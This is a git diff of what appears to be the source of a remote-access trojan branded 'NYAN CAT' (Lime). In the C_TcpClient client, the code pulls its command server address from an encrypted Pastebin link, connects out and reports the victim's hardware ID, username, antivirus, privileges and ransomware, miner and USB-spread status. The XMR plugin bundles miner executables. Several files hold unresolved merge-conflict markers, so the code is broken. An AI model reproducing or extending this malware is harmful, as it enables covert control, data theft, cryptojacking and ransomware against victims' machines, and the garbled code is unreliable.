//

Project/Client/C_Main.vb

@@ -1,5 +1,9 @@
 '##################################################################
+<<<<<<< HEAD
 '##        N Y A N   C A T  |||   Updated on Nov./27/2018        ##
+=======
+'##        N Y A N   C A T  |||   Updated on Sept/25/2018        ##
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
 '##################################################################
 '##                                                              ##
 '##                                                              ##

Project/Client/C_TcpClient.vb

@@ -1,6 +1,4 @@
-Imports System.Collections.Generic
-
-Namespace Lime
+Namespace Lime
 
     Public Class C_TcpClient
         Public Shared ENDOF As String = C_Settings.ENDOF
@@ -10,9 +8,14 @@ Namespace Lime
         Public Shared T1 As New Threading.Thread(AddressOf Connect)
         Public Shared isConnected As Boolean = False
         Public Shared MS As IO.MemoryStream = Nothing
+<<<<<<< HEAD
         Public Shared Tick As Threading.Timer = Nothing
         Public Shared x As Integer = 0
         Public Shared P As New List(Of Integer)
+=======
+        Public Shared Tick As System.Threading.Timer = Nothing
+        Public Shared KA As Integer = 0
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
 
         Public Shared Sub Connect()
 
@@ -89,31 +92,31 @@ re:
                 C_Settings.HOST = "127.0.0.1"
                 C_Settings.PORT = 8989
 #Else
-
                 Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT
                     Try
                         Dim myCredentials As New Net.NetworkCredential("", "")
                         WC.Credentials = myCredentials
                         Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
-                        ' Dim Response As String = WC.DownloadString((C_Settings.Pastebin))
-                        Dim SPL = Split(Response, ":")
-                        C_Settings.HOST = SPL(0)
-                        Dim r As New Random
-                        C_Settings.PORT = SPL(New Random().Next(1, SPL.Length))
+                        C_Settings.HOST = Response.Split(":")(0)
+                        C_Settings.PORT = Response.Split(":")(1)
                         WC.Dispose()
                     Catch ex As Exception
                     End Try
                 End Using
 
 #End If
-
                 C.Connect(C_Settings.HOST, C_Settings.PORT)
                 isConnected = True
                 MS = New IO.MemoryStream
 
+<<<<<<< HEAD
                 Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.9.0", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
                                   C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL,
                                   C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
+=======
+                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+                                  C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
                                   C_ID.Privileges.ToString, SPL, C_Settings.fullpath))
 
                 Dim T As New Threading.TimerCallback(AddressOf PING)

Project/Plugins/XMR/XMR.vbproj

@@ -96,7 +96,10 @@
     </None>
   </ItemGroup>
   <ItemGroup>
-    <Folder Include="Resources\" />
+    <None Include="Resources\xm.exe" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\cpu.exe" />
   </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
 </Project>

Project/Server/Classes/S_Settings.vb

@@ -3,7 +3,11 @@
     Public Shared PORT As New List(Of Integer)
     Public Shared EncryptionKey As String = Nothing
     Public Shared IP As String = Nothing
+<<<<<<< HEAD
     Public Shared StubVer As String = "v0.1.9.0"
+=======
+    Public Shared StubVer As String = "v0.1.8.5B"
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
     Public Shared SPL As String = "|'L'|"
     Public Shared EOF As String = "|'N'|"
 

Project/Server/Forms/Intro.vb

@@ -46,7 +46,6 @@
                 STV("Read", "1")
             Catch : End Try
         End If
-
 #If DEBUG Then
         '  S_Settings.PORT = 8989
         S_Settings.EncryptionKey = "NYANCAT"
@@ -89,14 +88,6 @@
         Catch ex As Exception
         End Try
 
-        Try
-            If GTV("READPORTMSG") = Nothing Then
-                MsgBox("New PORT system. You need to create 1 pastebin and insert you ports like this  127.0.0.1:8989:7878:5656", MsgBoxStyle.Information)
-                STV("READPORTMSG", "1")
-            End If
-        Catch ex As Exception
-        End Try
-
     End Sub
 
     Private Sub MetroButton2_Click(sender As Object, e As EventArgs) Handles MetroButton2.Click

Project/Server/Forms/Main.vb

@@ -1,5 +1,9 @@
 '##################################################################
+<<<<<<< HEAD
 '##        N Y A N   C A T  |||   Updated on Nov./27/2018        ##
+=======
+'##        N Y A N   C A T  |||   Updated on Sept/25/2018        ##
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
 '##################################################################
 '##                                                              ##
 '##                                                              ##